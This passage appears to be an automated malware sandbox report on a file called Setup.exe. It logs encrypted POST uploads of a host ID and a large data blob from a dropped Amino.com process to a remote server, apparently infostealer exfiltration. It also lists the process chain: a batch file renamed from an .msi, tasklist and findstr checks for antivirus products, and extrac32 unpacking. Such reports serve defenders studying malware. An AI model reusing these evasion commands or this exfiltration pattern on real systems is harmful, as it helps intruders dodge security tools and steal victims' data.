name="hwid"4594AD8A2507D455763B558D0945189B
2025-04-13 14:25:58 UTC	814	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 14:25:58 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ll7EQyhOCem3k2SEnbOWas7JD%2FpIESUPHzqcfKJHrI2P4LbHUyvfNcK92gydy6cTZo1VXjN1WHPEYLMRnSYh%2FJhM4BbdTUGA6HoY%2FQuSATgKRgX2gbp%2BGp4lM5bhWJIjG2bRRZA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fba2c2fd0b8bb7-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106231&min_rtt=106173&rtt_var=22492&sent=7&recv=12&lost=0&retrans=0&sent_bytes=2842&recv_bytes=6336&delivery_rate=37952&cwnd=247&unsent_bytes=0&cid=0798e70a80505340&ts=541&x=0"
2025-04-13 14:25:58 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-13 14:25:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49731	104.21.5.162	443	7248	C:\Users\user\AppData\Local\Temp\335031\Amino.com

Timestamp	Bytes transferred	Direction	Data
2025-04-13 14:25:59 UTC	283	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2MpSQjKn4bE3AvKzb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 2615 Host: vqaliantheart.live
2025-04-13 14:25:59 UTC	2615	OUT	Data Raw: 2d 2d 32 4d 70 53 51 6a 4b 6e 34 62 45 33 41 76 4b 7a 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 32 31 66 65 34 62 39 36 35 30 66 65 35 63 34 66 34 35 30 32 33 32 63 38 62 31 33 65 62 63 30 36 65 39 39 33 34 37 35 65 32 62 0d 0a 2d 2d 32 4d 70 53 51 6a 4b 6e 34 62 45 33 41 76 4b 7a 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 4d 70 53 51 6a 4b 6e 34 62 45 33 41 76 4b 7a 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 39 34 41 44 Data Ascii: --2MpSQjKn4bE3AvKzbContent-Disposition: form-data; name="uid"21fe4b9650fe5c4f450232c8b13ebc06e993475e2b--2MpSQjKn4bE3AvKzbContent-Disposition: form-data; name="pid"1--2MpSQjKn4bE3AvKzbContent-Disposition: form-data; name="hwid"4594AD
2025-04-13 14:25:59 UTC	824	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 14:25:59 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x19LnxOStuiNHZ4kT%2BqLHPzzubzT%2B%2FPOGMlrW3UY6LZAVCCg%2F4IMWH9j%2FfudJCUD8xK2cvTdfNTp8uwTtoqVBK%2BFcuNcELAv%2Frx2s2X5W%2BUxIDdelWIneLDlOC%2BylphmvigZuMY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fba2c91cf128c2-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123239&min_rtt=123191&rtt_var=26058&sent=6&recv=10&lost=0&retrans=0&sent_bytes=2843&recv_bytes=3534&delivery_rate=32738&cwnd=244&unsent_bytes=0&cid=9abe69e87b84cff9&ts=560&x=0"
2025-04-13 14:25:59 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-13 14:25:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49732	104.21.5.162	443	7248	C:\Users\user\AppData\Local\Temp\335031\Amino.com

Timestamp	Bytes transferred	Direction	Data
2025-04-13 14:26:00 UTC	285	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=rKn6z4C7bxMM4EQM3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 574445 Host: vqaliantheart.live
2025-04-13 14:26:00 UTC	15331	OUT	Data Raw: 2d 2d 72 4b 6e 36 7a 34 43 37 62 78 4d 4d 34 45 51 4d 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 32 31 66 65 34 62 39 36 35 30 66 65 35 63 34 66 34 35 30 32 33 32 63 38 62 31 33 65 62 63 30 36 65 39 39 33 34 37 35 65 32 62 0d 0a 2d 2d 72 4b 6e 36 7a 34 43 37 62 78 4d 4d 34 45 51 4d 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 72 4b 6e 36 7a 34 43 37 62 78 4d 4d 34 45 51 4d 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 39 34 41 44 Data Ascii: --rKn6z4C7bxMM4EQM3Content-Disposition: form-data; name="uid"21fe4b9650fe5c4f450232c8b13ebc06e993475e2b--rKn6z4C7bxMM4EQM3Content-Disposition: form-data; name="pid"1--rKn6z4C7bxMM4EQM3Content-Disposition: form-data; name="hwid"4594AD
2025-04-13 14:26:00 UTC	15331	OUT	Data Raw: 6d 46 33 a4 2b c8 a5 dc 52 43 d2 1e 17 53 09 9b 5c 65 0a 77 79 f7 6b 1b 5c a3 e8 b1 6c 72 4a 7d 82 4a ef 44 b5 ba 3a 3f 14 64 55 8e 57 b6 5d ae 50 21 57 be 39 8c ac 5b 8f 2b 20 0a 1d 31 e6 9d 3b c3 8a 95 bd b1 7e ff fd da 2b c1 f4 11 61 af d7 7c 2f 5f fb b7 13 b4 2e 44 44 3b 1c 2e 92 d8 19 25 d1 ce 17 eb 92 a9 df d5 b5 54 4d ec 7c ae 38 ec bb 42 c3 2a 67 78 00 5a 9b 21 91 bb 80 0d 9e 95 30 18 e1 1e e2 83 11 b4 b5 2b 5b 20 16 a1 b8 3c b6 2e 1c f8 e7 6b b6 5e 16 3f 5e 32 eb da b1 77 ec 84 8a aa d9 5c f7 6e 47 00 dc 65 5f 45 90 95 fb c4 45 27 d0 60 3e e8 18 7a 94 d7 f3 93 f5 ab bd 0d 79 36 60 d0 0f 3c 23 e9 3a 1f 87 d8 01 54 f5 60 2a 0b 34 58 57 de 17 82 48 19 e7 66 0b 68 a5 e7 10 9f 20 fe c6 a7 f6 37 cb d0 14 bf 6e a9 48 10 a1 08 34 30 aa d4 b4 23 b5 7d 23 Data Ascii: mF3+RCS\ewyk\lrJ}JD:?dUW]P!W9[+ 1;~+a\|/_.DD;.%TM\|8BgxZ!0+[ <.k^?^2w\nGe_EE'`>zy6`<#:T`4XWHfh 7nH40#}#
2025-04-13 14:26:00 UTC	15331	OUT	Data Raw: 9d e8 86 8d b2 4e bc 4d f8 33 07 94 7f 7a db f6 7d 0d 6e 64 ac b1 30 65 5d b6 3e 33 03 41 d8 bf fe ab 5d 02 84 03 25 b9 ef e8 55 77 5f 4c 09 bc 77 07 f4 63 56 8d a4 a1 53 63 bc 95 c2 9c 35 a9 64 cc 69 94 d1 63 32 41 39 1f 6c 61 87 e8 37 ce 11 a2 d5 03 7b 14 73 00 60 33 4d 42 32 20 df a6 88 7f 5e a7 63 d2 b3 c1 71 a7 f5 24 b4 f9 c1 35 c5 c1 23 29 c0 f3 7b 9d 34 ef f2 5f 0b e5 0a 71 ac 47 c8 78 59 73 e6 78 83 7a 0d 2a 0b c0 b6 65 0d eb 5d 77 39 de 97 33 2a d5 a3 fe dc 23 b1 22 7a cb f1 19 9a 8c 6f d6 5b aa 15 a8 73 f7 9e 1a e1 18 de 5c ab 75 42 2e ed 99 21 d0 97 31 04 cf ca 1b a2 8b a8 8b 99 c0 65 47 d0 6b 22 eb ab 18 f6 7e df cd 19 3f fa 0c f6 98 c2 7c 74 f4 de 8b dd c1 61 5c e5 cd cc 5e fc 6e c4 e0 f1 b8 ae 6a 60 a9 67 10 4c 7c c4 f6 a7 96 84 a7 11 99 51 Data Ascii: NM3z}nd0e]>3A]%Uw_LwcVSc5dic2A9la7{s`3MB2 ^cq$5#){4_qGxYsxze]w93#"zo[s\uB.!1eGk"~?\|ta\^nj`gL\|Q
2025-04-13 14:26:00 UTC	15331	OUT	Data Raw: 36 14 0b 33 fa af a6 f0 32 bd 1a fc f3 de a5 65 20 80 42 1e 6b e4 94 78 7f 9f 5c 68 4a f0 be 2a 79 4f c2 7c 5d 21 ce e5 51 8f fb 7d 79 b9 70 a5 60 9d 35 d6 90 17 4a 69 e5 c0 61 75 f2 f4 9c 9e ee a3 63 b8 36 43 a1 17 9b b3 2c 72 fe 47 b9 d6 ed 0f d1 a2 61 0c f6 1b 17 7f 1d 85 da 48 0e 93 4c 1f 89 1e 00 c6 98 11 59 61 a1 3e f7 62 ec a1 23 7d 59 55 88 1a 80 e2 75 1e 42 93 b1 b4 55 88 78 6a 14 86 e1 3c 83 7c f7 c3 d0 7a c0 d9 52 68 51 e6 cf a1 f2 17 72 73 55 70 f3 35 bd f6 c9 a3 c1 d7 cd 1f 11 0d 2d 9b 8f d7 f3 ee 44 e1 c7 31 c7 55 28 e8 2e c3 6f a1 39 b1 e4 df 42 87 ad b4 0a c2 ce e3 92 fd 24 03 e9 1e 67 85 28 0d 34 2d cf 13 c8 a0 7d 53 26 20 3f 24 b7 cb 58 c0 35 5c 44 94 db 48 ed 31 38 bf 1c 33 40 ce fd 19 d7 8b ff 71 60 8c fc 63 51 c2 bf 4c 2a 47 ce 8e c4 Data Ascii: 632e Bkx\hJyO\|]!Q}yp`5Jiauc6C,rGaHLYa>b#}YUuBUxj<\|zRhQrsUp5-D1U(.o9B$g(4-}S& ?$X5\DH183@q`cQLG
2025-04-13 14:26:00 UTC	15331	OUT	Data Raw: 5a 6c eb 35 de 5b 38 79 70 e1 67 96 fb db 14 17 89 10 7c ae ad 84 c0 9c 71 a2 2e bf e5 29 4b ac 7d 81 6f 9e de b6 08 c2 bd 51 a0 74 eb 69 22 e0 f2 fd 28 44 ce 73 48 36 e6 dd ac cc ac 6a 69 06 dc 20 cb 90 14 82 ba 31 2a 88 b8 f2 7e 75 15 b7 c6 8c 4e 15 91 58 fb ab d4 54 4e 74 65 02 46 60 00 a5 04 4c 38 7a 33 ef 3e 4e 64 97 b6 3c f4 f1 e1 8a 0c a2 16 99 16 67 5f 36 b1 22 7c 7e ea e3 e9 c1 bc 99 e3 3b a2 e5 93 8e d4 58 c9 c8 1c 52 e8 17 14 b1 47 8c 99 42 9f f7 90 b1 aa e2 d2 d9 31 ec 99 2b de dc ed a0 9f bf d9 8d 20 83 38 76 bc 4f d1 3c c7 d8 db 3f e4 98 78 3c ce 22 af 86 86 59 24 54 52 d1 65 c3 39 20 66 9c 0e 2f 1a 86 21 94 d0 ec c1 57 27 45 1c 01 b1 f9 43 3c e8 da be a9 e2 0a 2c 8d 1a 81 a9 fa 42 b8 85 f6 b6 37 51 29 b4 64 ec 8e 9c 58 03 9b c8 d0 71 be bc Data Ascii: Zl5[8ypg\|q.)K}oQti"(DsH6ji 1*~uNXTNteF`L8z3>Nd<g_6"\|~;XRGB1+ 8vO<?x<"Y$TRe9 f/!W'EC<,B7Q)dXq
2025-04-13 14:26:00 UTC	15331	OUT	Data Raw: ab 8c ec 66 e0 de 66 6f 0a eb ab 00 a1 fc 2e 85 56 5c da d3 97 1d 49 b1 c7 68 7f db e8 33 a2 01 8e fa 84 2c 1f e8 5e 8c f1 2f 3f f5 65 eb 88 0f 88 8d f2 36 21 5d e4 f5 9a 73 de 38 1d 58 cf 43 aa 96 df 65 73 bb e7 12 8d 8d 16 34 44 44 6a 08 7f 9f 57 3b 55 4b 31 5b 21 e9 24 0a 65 c6 d4 db 3f 7e 50 e5 f9 dc 80 5f bd 3c 16 c7 34 ed 62 84 b9 bd 77 d5 9c ab 11 e7 df 4d 33 d1 b5 f7 76 80 71 d5 9b 75 06 78 4c 55 3e 6a 1e 0e 4b 48 4f e5 20 2c 71 09 d6 08 23 6e 38 54 86 3a cd 50 72 17 21 be d2 e6 0e b1 43 30 a5 07 af 63 2d 45 e3 95 21 98 29 bc 5a 0d de b8 7b ab d5 d6 ad ff 18 3d c8 bf b4 73 91 38 76 28 37 b2 53 6a 69 81 71 6b b6 3c 25 ec 51 b5 71 95 f8 0c 47 1d cd 11 f3 93 67 8b 5c 54 5e e2 0c 04 3b ef 64 64 94 72 1e 44 b3 fa 12 e3 51 4e 8a 80 b0 fa cd 4f c0 12 81 Data Ascii: ffo.V\Ih3,^/?e6!]s8XCes4DDjW;UK1[!$e?~P_<4bwM3vquxLU>jKHO ,q#n8T:Pr!C0c-E!)Z{=s8v(7Sjiqk<%QqGg\T^;ddrDQNO
2025-04-13 14:26:00 UTC	15331	OUT	Data Raw: 26 c0 8d d4 6b 79 b5 58 e9 9a d2 57 25 01 da 0c e1 8f 66 f1 35 c1 c2 49 62 56 dc d4 34 e7 d7 fb 2f 33 e8 bb e1 3f d8 c7 91 55 7e a7 ef 2a e6 86 1b 82 1c 5d 7e dd 68 c8 24 e4 bb 4c 77 b0 4d a4 6a a8 c4 25 76 5b 93 55 15 c4 9d 93 ee 2f 2c 9a 44 11 bc 8c 87 7b e8 71 8c 9e ae 0c f6 9a 40 9f ee 64 43 5d 2c e9 30 24 0c 15 7b 19 e7 b1 4c 7e d0 b0 46 da 19 32 ff ea 10 7c 75 d9 2a 33 7d 77 21 d3 36 78 ff 16 79 3e 87 71 f5 ce 49 fb cf fc 22 99 53 41 e5 ba 3d 10 83 31 37 da 22 cb b3 df 9e 37 22 ea 23 7a 74 f6 53 4b ce 1b c8 12 db 09 3b e0 7f c4 7d c5 0f 0a a3 8c 73 99 51 65 a2 4f 3b 2e 48 4c ed f8 29 fe 43 1f ad 0c 25 32 64 d8 e5 34 be f5 2b 6c 7d ed 35 8c 20 65 bf 98 0e 82 cf 33 e0 f9 d2 a3 6c 55 06 95 bf d4 bf f8 8d 1b 7e c8 99 e6 3b 10 db 28 d4 91 6e 05 3f 7b 0d Data Ascii: &kyXW%f5IbV4/3?U~]~h$LwMj%v[U/,D{q@dC],0${L~F2\|u3}w!6xy>qI"SA=17"7"#ztSK;}sQeO;.HL)C%2d4+l}5 e3lU~;(n?{
2025-04-13 14:26:00 UTC	15331	OUT	Data Raw: 40 a0 84 67 ef c9 cc 87 2b 4f e3 63 53 48 c5 36 79 a3 b7 c4 5c b5 28 e5 84 ae e5 4d ff b1 7a b3 2a a0 8e 10 40 6c 70 4d 55 ec d8 13 ab 77 88 ea b8 bf 67 ab d7 b7 6d 44 53 14 bc 48 99 57 db 4a 1f e3 31 14 59 6c 68 d8 83 e5 6c eb 55 fb e9 a4 bd 3d 87 4e b8 fc b3 24 47 4d 7b 4f 32 77 ea 2d 3a 6c 44 55 62 f7 06 34 a1 05 ad 0d 65 08 bd d3 8f f3 12 7f 21 5e f6 b0 09 50 08 60 5a b0 c4 58 45 97 c1 e1 94 b0 88 43 c4 db e6 68 05 1e 5b 3c e3 e0 04 ba e6 58 f5 e2 89 aa 94 d2 32 31 1c 0b e8 c8 b6 a2 1c 43 5f 02 f8 19 51 6f 7c 76 c2 69 2a ff 53 52 e9 73 18 96 49 bb f2 41 3c 07 44 6f f6 0d d4 c3 f9 b0 c1 1d 24 87 f1 1a 92 1f 4b 5b ba 9c 32 bf 17 64 13 06 31 de 15 5e 7b 1c 45 27 68 0c c1 8b 5e f1 1b 70 8e 17 d6 2e 6c 45 f4 c7 a3 28 be a4 94 2e 93 a4 23 8d 4e 3a c5 a2 7b Data Ascii: @g+OcSH6y\(Mz@lpMUwgmDSHWJ1YlhlU=N$GM{O2w-:lDUb4e!^P`ZXECh[<X21C_Qo\|viSRsIA<Do$K[2d1^{E'h^p.lE(.#N:{
2025-04-13 14:26:00 UTC	15331	OUT	Data Raw: 35 5a 5a 17 8f 08 5c fb fb fb 42 c4 2a 77 c7 4d 9d 4e ff 3d 0a 65 35 3e f1 45 36 65 45 b3 cf bb 4d 32 13 b8 47 f9 ba af 6b 53 a3 83 f6 d2 b0 26 9a 79 17 81 47 0b 3f a8 99 e4 35 f5 76 42 e4 a6 54 b3 86 ef 75 75 8f bf 00 88 82 b0 39 09 09 60 d1 bb 32 5f b8 b9 aa 69 36 e9 18 9b 47 d7 89 db 86 d3 84 bc 36 98 74 be aa 18 e1 94 85 0d b3 4d 69 cb 97 d7 fb 54 17 41 0d 0e b6 f5 36 18 00 ab a2 55 ef 6b 71 84 c2 1c 2c 68 e4 39 72 56 d8 b9 82 2d 90 a7 d1 33 24 06 33 fd 03 5d b9 6e 7d 15 cb e1 0c 21 1a 15 33 20 ce 0a 25 fd 22 87 f1 45 4a 89 6f 00 bb 30 0f ae ab 9b 3b 1f 97 b2 cc 7e 22 4a 2b 32 c4 72 db 09 85 ed 0a be 5c 14 96 dc 56 27 a5 3b 5d 40 cf 89 63 5e 4b ef 85 cb dd f5 f4 91 db 82 a8 67 6b 79 c7 15 cb 6e d5 f9 97 6f 2b 97 d9 40 4a c4 78 13 88 6c 6a 00 1a 38 0a Data Ascii: 5ZZ\B*wMN=e5>E6eEM2GkS&yG?5vBTuu9`2_i6G6tMiTA6Ukq,h9rV-3$3]n}!3 %"EJo0;~"J+2r\V';]@c^Kgkyno+@Jxlj8
2025-04-13 14:26:00 UTC	15331	OUT	Data Raw: f2 c9 d9 da 79 20 5b 11 10 f1 72 3b f4 f4 e5 80 19 6f ce 7d 0f 18 d3 6f 97 63 93 b7 8f 3f 67 2d ed 8a 0c f1 b7 80 22 1a 58 f5 d2 06 1a 3f 38 2d 81 4a 26 29 b4 b6 e4 db e0 62 dd 99 d6 ef 8d 30 f6 1e 16 ef 7a e2 76 79 5c d9 65 cc 08 ae 37 e7 05 a7 e9 4e 4d 94 08 21 59 01 f5 84 7c 05 e9 09 63 03 01 96 b8 28 30 8d 6e e7 1a 3e b8 24 8c fc db ba f2 90 5f 8e 13 80 91 3b c3 a9 4f 40 ae 80 a4 c5 8e 1c 53 eb 67 46 49 40 b5 95 05 64 c7 0b c3 4a f0 c7 6d 3e 59 7b 31 3c 77 93 69 7d b4 15 ea de 05 97 65 3e 38 f6 af 2d 58 da 0d 76 88 2f dc f3 6c 01 b0 05 e9 8f 79 1e 9a 62 b8 f8 b0 40 10 36 5e 45 22 6f d0 17 61 45 39 93 b7 09 01 8b 4e 05 b9 76 3d ec d7 2f cb b7 7e e6 91 58 f3 af 69 1c c5 7a 1f 59 06 f6 43 70 8a c1 45 00 63 44 cd 4c a5 61 17 dc 88 44 ce 3e 5c 04 a9 aa ad Data Ascii: y [r;o}oc?g-"X?8-J&)b0zvy\e7NM!Y\|c(0n>$_;O@SgFI@dJm>Y{1<wi}e>8-Xv/lyb@6^E"oaE9Nv=/~XizYCpEcDLaD>\
2025-04-13 14:26:01 UTC	814	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 14:26:01 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l5c1fzfkUUBeZFb7OvawqsUzATUkQKRKindcEmVsE0xD9DldjiRla6p081Wv0TwQZAUbFVLbZ749c0kMWQfALM8SbMHMjjMEcXIKN0VYA7RteihKIxcD0oTNlfZggZzD%2BBsjjHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fba2cfe97b4d20-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=121877&min_rtt=121751&rtt_var=25878&sent=200&recv=436&lost=0&retrans=0&sent_bytes=2843&recv_bytes=576994&delivery_rate=33052&cwnd=137&unsent_bytes=0&cid=da33716769fdb69c&ts=1698&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49733	104.21.5.162	443	7248	C:\Users\user\AppData\Local\Temp\335031\Amino.com

Timestamp	Bytes transferred	Direction	Data
2025-04-13 14:26:02 UTC	268	OUT	POST /oniz HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 121 Host: vqaliantheart.live
2025-04-13 14:26:02 UTC	121	OUT	Data Raw: 75 69 64 3d 32 31 66 65 34 62 39 36 35 30 66 65 35 63 34 66 34 35 30 32 33 32 63 38 62 31 33 65 62 63 30 36 65 39 39 33 34 37 35 65 32 62 26 63 69 64 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 26 68 77 69 64 3d 34 35 39 34 41 44 38 41 32 35 30 37 44 34 35 35 37 36 33 42 35 35 38 44 30 39 34 35 31 38 39 42 Data Ascii: uid=21fe4b9650fe5c4f450232c8b13ebc06e993475e2b&cid=637b55279021aab33278188cfa638397&hwid=4594AD8A2507D455763B558D0945189B
2025-04-13 14:26:02 UTC	791	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 14:26:02 GMT Content-Type: application/octet-stream Content-Length: 108 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R7km6BwZqoxYOWRvmshhHYQs%2FTz8FEG%2FwaCbFdAvBVTaNA6M8HFAkYFFZsnytIXTpGls4DearYM2EdZJ2%2B5aWRjIrttMTwdUfFYKIl4TAEKhht1Nm5vE%2Fox6WkEQN8367lscius%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fba2dcef23c430-JAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=113819&min_rtt=113499&rtt_var=24424&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1025&delivery_rate=35273&cwnd=252&unsent_bytes=0&cid=f47e241d254e73c5&ts=622&x=0"
2025-04-13 14:26:02 UTC	108	IN	Data Raw: 1e c7 4b 36 b3 27 32 42 8c 97 00 d5 2e af 51 35 37 3c 5f 44 e8 3b c7 86 6e 8a ed f0 bf b8 8b 73 1f d4 94 9a c7 0c 01 15 53 5f c2 f0 42 cc c1 65 23 d2 f7 bf 1d 80 8f 4f f5 4d 61 92 e6 3a f7 7c bd 6e dc 6e b3 15 8b ca 02 07 8c d1 db 6c a9 fa f2 4e e3 02 4b 2e 4d 70 7b 76 f6 c9 fd a8 c0 1a e8 c0 db 38 52 7c ff 84 ae d8 9e 85 Data Ascii: K6'2B.Q57<_D;nsS_Be#OMa:\|nnlNK.Mp{v8R\|

Target ID:	0
Start time:	10:25:08
Start date:	13/04/2025
Path:	C:\Users\user\Desktop\Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Setup.exe"
Imagebase:	0x400000
File size:	1'241'125 bytes
MD5 hash:	69D60E74D9063949AA710804C99E4468
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:25:09
Start date:	13/04/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Unauthorized.msi Unauthorized.msi.bat & Unauthorized.msi.bat
Imagebase:	0xc70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:25:09
Start date:	13/04/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:25:11
Start date:	13/04/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x590000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:25:11
Start date:	13/04/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0xe70000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:25:11
Start date:	13/04/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x590000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:25:11
Start date:	13/04/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
Imagebase:	0xe70000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:25:12
Start date:	13/04/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 335031
Imagebase:	0xc70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:25:12
Start date:	13/04/2025
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Appreciated.msi
Imagebase:	0x150000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:25:13
Start date:	13/04/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "Communications" Turner
Imagebase:	0xe70000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:25:13
Start date:	13/04/2025
Path:	C:\Windows\SysWOW64\cmd.exe
